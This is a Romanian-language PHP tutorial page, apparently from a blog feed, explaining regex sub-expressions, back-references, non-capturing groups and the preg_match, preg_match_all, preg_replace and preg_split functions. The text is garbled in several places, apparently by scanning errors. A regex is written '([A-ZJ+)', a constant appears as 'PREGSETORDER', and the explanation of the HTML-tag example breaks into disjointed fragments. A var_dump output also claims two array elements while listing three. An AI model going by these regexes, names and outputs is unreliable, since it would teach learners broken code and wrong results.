<p>Sub-expresiile reprezinta portiuni ale unui regex delimitate prin paranteze rotunde si care pot fi extrase separat sau referite chiar din cadrul regex-ului. Ele sunt utile in doua cazuri: </p>
<ul>
<li>cand cautam un sir de caractere corespunzator unui regex insa ne intereseaza numai o parte a sa, care nu putea fi cautata independent (un subsir). Exemplu: dorim sa extragem toate link-urile dintr-un fisier HTML; pentru aceasta cautam toate sirurile de fonna &lt;a href=&#8230;.&gt;&#8230;&lt;/a&gt; si extragem din ele numai valoarea atributului href</li>
<li>cand dorim ca, din cadrul unui regex, sa ne referim la o portiune anterioara a sa <em>(&#8220;back references&#8221;). </em>Exemple: a) un regex! incepe cu un caracter (ales de catre programator, asadar necunoscut) dar se termina cu acelasi caracter. b) un tag HTML, care are delimitatori de deschidere si de inchidere, ultimul putand fi specificat prin referire la primul</li>
</ul>
<p>Subexpresiile primesc automat numere incepand de la 1, in ordinea in care apar in regex, pentru a oferi posibilitatea referirii lor din cadrul regex-ului si a extragerii sirurilor de caractere ce le corespund. Daca se doreste referirca unei subexpresii din cadrul regex-ului, se pot folosi secventele \1, \2 &#8230;\99 ce semnifica sirul de caractere ce a corespuns primei subexpresii, celei de-a doua subexpresii etc </p>
<p>Exemplu: aplicandu-se regex-ul <sup>^</sup>([A-ZJ+) cel ([a-z]+)$ pentru sirurile de caractere din prima coloana a tabelului de mai jos, continuturile subexpresiilor sunt cele din coloanele 2 si 3:</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="252" valign="top"> </td>
<td width="252" valign="top"><strong>Subexpresia 1</strong>([A-Z\s]+)</td>
<td width="255" valign="top"><strong>Subexpresia 2 </strong>([a-z]+)</td>
</tr>
<tr>
<td width="252" valign="top">&#8220;Andrii Popa cel voinic&#8221;</td>
<td width="252" valign="top">Andrii Popa</td>
<td width="255" valign="top">voinic</td>
</tr>
<tr>
<td width="252" valign="top">&#8220;Stefan cel mare&#8221;</td>
<td width="252" valign="top">Stefan</td>
<td width="255" valign="top">mare</td>
</tr>
<tr>
<td width="252" valign="top">&#8220;Mircea cel batran&#8221;</td>
<td width="252" valign="top">Mircea</td>
<td width="255" valign="top">batran</td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="574" valign="top"><strong> </strong> <strong>Exemplu: </strong><strong>&lt;(?i)([A-Z]+)&gt;[^&lt;]*&lt;/ \1&gt;</strong> </td>
</tr>
<tr>
<td width="574" valign="top">sirul <strong>incepe cu &lt;, se activeaza </strong>optiunea CASELESS, continua cu una sau</td>
</tr>
<tr>
<td width="574" valign="top">(marl sau <strong>mici    constituie prima </strong>subexpresie, Urmeaza <em>&gt;,   </em>apoi 0 sau</td>
</tr>
<tr>
<td width="574" valign="top"><strong>diferite de &lt;, si tagul </strong>de inchidere, format, din &lt;/ si apoi sirul ce a</td>
</tr>
<tr>
<td width="574" valign="top"><strong>subexpresii </strong></td>
</tr>
</tbody>
</table>
<p>Exista cazuri in care dorim sa includem o portiune a regex-ului intre paranteze, insa fara ca ea sa fie automat considerata (si numerotata) ca sub-expresie (ex: (021 |07\d)\d{7}, unde parantezele sunt folosite numai pentru specificarea formatului alternativ al inceputului de sir). In astfel de cazuri putem folosi secventa (?: ) pentru a incadra portiunea de regex dorita; intre ? si : pot fi specificate si optiuni </p>
<p>   <strong>Functii PHP predefinite pentru lucrul cu regex-uri</strong> </p>
<p><strong><br />
</strong>Iata principalele functii PHP predefinite pentru lucrul cu PCRE:<br />
•     int <strong>preg_match</strong> ( string $regex, string $string [, array &amp;$matches [, int $flags [, int $offset]]]) &#8211; cauta in $string prima aparitie a unui sir ce corespunde formatului specificat in $regex. Returneaza 1 in caz de gasire si 0 in caz contrar. Daca este folosit si al treilea argument, acesta se populeaza astfel: $matches[0] contine intregul sir ce a corespuns regex-ului, $matches[l] sirul corespunzator primei subexpresii etc. Al patrulea argument, daca exista, ofera posibilitatea de a impune pozitia din $string de la care sa inceapa cautarea.<br />
  </p>
<p>$s =    “mere pere in panere”  ;<br />
echo preg_match(&#8216;/ere/&#8217;,   $s);<br />
$a = array() ;<br />
preg_match(‘/(.)ere\s(.)/&#8217;,$s, $a);<br />
var_dump($a);  <br />
array(2)  {<br />
[0]=&gt;strings(4) “mere p”<br />
[1]=&gt;string(1) “m”<br />
[2]=&gt; string(1) “p”<br />
}<br />
  </p>
<p><strong>int preg_match_all</strong> ( string $regex, string $string, array &amp;$matches [, int $flags [, int $offset]]) &#8211; functioneaza la fel ca preg_match, insa al treilea argument este obligatoriu, el fiind populat cu toate sirurile gasite care corespund pattern-ului (preg_match se oprea la prima aparitie). Felul in care este populat acest tablou este dat de parametrul $flags, care ofera urmatoarele posibilitati: </p>
<p>• <strong>PREG_PATTERN_ORDER</strong> &#8211; elementele din $matches corespund subexpresiilor din $regex. $matches[0] va avea ca valoare un tablou cu toate sirurile intregi care au corespuns regex-ului, $matches[l] va avea ca valoare un tablou ce contine toate sirurile ce au corespuns primei subexpresii etc.<br />
•<strong> PREGSETORDER</strong> &#8211; fiecare element din $matches corespunde unei aparitii de subsir ce corespunde regex-ului, si are ca valoare un tablou cu toate sirurile corespunzatoare subexpresiilor. Smatches[0][0] contine </p>
<ul>
<li><strong>mixed preg_replace</strong> ( mixed $regex, mixed $inlocuitor, mixed $string [, int $limit [, int &amp;$count]]) &#8211; returneaza o copie a lui $string in care subsirurile ce corespund formatului din $regex sunt inlocuite cu $inlocuitor. Al patrulea argument, daca este prezent, specifica numarul maxim de inlocuiri, iar in ultimul argument se memoreaza numarul de inlocuiri efectuate.</li>
<li><strong>array preg_split</strong> ( string $pattern, string $subject [, int $limit [, int $flags]]) &#8211; alternativa la strtok() sau explode(), cu diferenta ca delimitatorul de campuri (sirul de caractere declarat ca separator) este acum specificat sub forma uni regex</li>
</ul>
</div>
<p>[catlist id=18 numberposts=10]</p>
<div id="seo_alrp_related"><h2>Articole REGULAR EXPRESSIONS (REGEX)</h2><ul><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/xml-documente-well-formed/" rel="bookmark">XML Documente well-formed</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/protectia-output-ului/" rel="bookmark">PROTECTIA OUTPUT-ULUI</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/xml/" rel="bookmark">Tutorial XML</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/cookies/" rel="bookmark">Cookie-uri in PHP</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/headere-http/" rel="bookmark">Lucrul cu headere HTTP din PHP</a></h3></div></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://lataifas.ro/2010/01/regular-expressions-regex/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

